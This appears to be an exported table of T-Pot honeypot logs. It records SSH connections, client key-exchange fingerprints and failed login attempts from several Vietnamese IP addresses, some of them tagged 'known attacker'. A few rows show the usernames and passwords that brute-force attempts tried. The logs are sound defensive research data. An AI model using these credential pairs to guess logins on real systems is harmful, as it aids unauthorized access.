"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 34040, "dest_port": 22, "timestamp": "2021-09-20T11:08:38.923288", "@timestamp": "2021-09-20T11:08:38.923Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
24267	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:38.686069+03	2021-09-20 14:15:08.56247+03	{"_id": "hQbkAnwBvYTbRNuExBIq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 56036, "timestamp": "2021-09-20T11:08:38.686069", "@timestamp": "2021-09-20T11:08:38.686Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24268	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:38.645602+03	2021-09-20 14:15:08.56447+03	{"_id": "iwbkAnwBvYTbRNuExBLJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:34040 (192.168.176.2:22) [session: ef624ded0e0c]", "session": "ef624ded0e0c", "@version": "1", "protocol": "ssh", "src_port": 34040, "dest_port": 22, "timestamp": "2021-09-20T11:08:38.645602Z", "@timestamp": "2021-09-20T11:08:38.645Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
24269	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:08:38.681239+03	2021-09-20 14:15:08.56547+03	{"_id": "jAbkAnwBvYTbRNuExBLJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:56036 (192.168.176.2:22) [session: 87076ebb691d]", "session": "87076ebb691d", "@version": "1", "protocol": "ssh", "src_port": 56036, "dest_port": 22, "timestamp": "2021-09-20T11:08:38.681239Z", "@timestamp": "2021-09-20T11:08:38.681Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
24270	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:38.94109+03	2021-09-20 14:15:08.56647+03	{"_id": "jQbkAnwBvYTbRNuExBLJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:43154 (192.168.176.2:22) [session: fb161bad0075]", "session": "fb161bad0075", "@version": "1", "protocol": "ssh", "src_port": 43154, "dest_port": 22, "timestamp": "2021-09-20T11:08:38.941090Z", "@timestamp": "2021-09-20T11:08:38.941Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
24271	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:08:38.56957+03	2021-09-20 14:15:08.567471+03	{"_id": "mwbkAnwBvYTbRNuExBLJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "bed65fca6c40", "@version": "1", "timestamp": "2021-09-20T11:08:38.569570Z", "@timestamp": "2021-09-20T11:08:38.569Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
24272	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:38.648319+03	2021-09-20 14:15:08.56947+03	{"_id": "nAbkAnwBvYTbRNuExBLJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "ef624ded0e0c", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:08:38.648319Z", "@timestamp": "2021-09-20T11:08:38.648Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
24273	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:08:38.683957+03	2021-09-20 14:15:08.57047+03	{"_id": "nQbkAnwBvYTbRNuExBLJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "87076ebb691d", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:08:38.683957Z", "@timestamp": "2021-09-20T11:08:38.683Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24274	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:08:38.79004+03	2021-09-20 14:15:08.57147+03	{"_id": "ngbkAnwBvYTbRNuExBLJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [sam/123456] failed", "session": "14cf92425486", "@version": "1", "password": "123456", "username": "sam", "timestamp": "2021-09-20T11:08:38.790040Z", "@timestamp": "2021-09-20T11:08:38.790Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
24275	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:38.841067+03	2021-09-20 14:15:08.57247+03	{"_id": "nwbkAnwBvYTbRNuExBLJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [a1c924/a1c924] failed", "session": "0251c10df38a", "@version": "1", "password": "a1c924", "username": "a1c924", "timestamp": "2021-09-20T11:08:38.841067Z", "@timestamp": "2021-09-20T11:08:38.841Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
24276	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:38.918423+03	2021-09-20 14:15:08.57347+03	{"_id": "oAbkAnwBvYTbRNuExBLJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [root/synopass] failed", "session": "12164025bdb3", "@version": "1", "password": "synopass", "username": "root", "timestamp": "2021-09-20T11:08:38.918423Z", "@timestamp": "2021-09-20T11:08:38.918Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
24277	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:38.924025+03	2021-09-20 14:15:08.57547+03	{"_id": "oQbkAnwBvYTbRNuExBLJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "ef624ded0e0c", "@version": "1", "timestamp": "2021-09-20T11:08:38.924025Z", "@timestamp": "2021-09-20T11:08:38.924Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
24278	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:38.942664+03	2021-09-20 14:15:08.57647+03	{"_id": "ogbkAnwBvYTbRNuExBLJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "fb161bad0075", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:08:38.942664Z", "@timestamp": "2021-09-20T11:08:38.942Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
24279	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:08:38.961539+03	2021-09-20 14:15:08.57747+03	{"_id": "owbkAnwBvYTbRNuExBLJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "87076ebb691d", "@version": "1", "timestamp": "2021-09-20T11:08:38.961539Z", "@timestamp": "2021-09-20T11:08:38.961Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
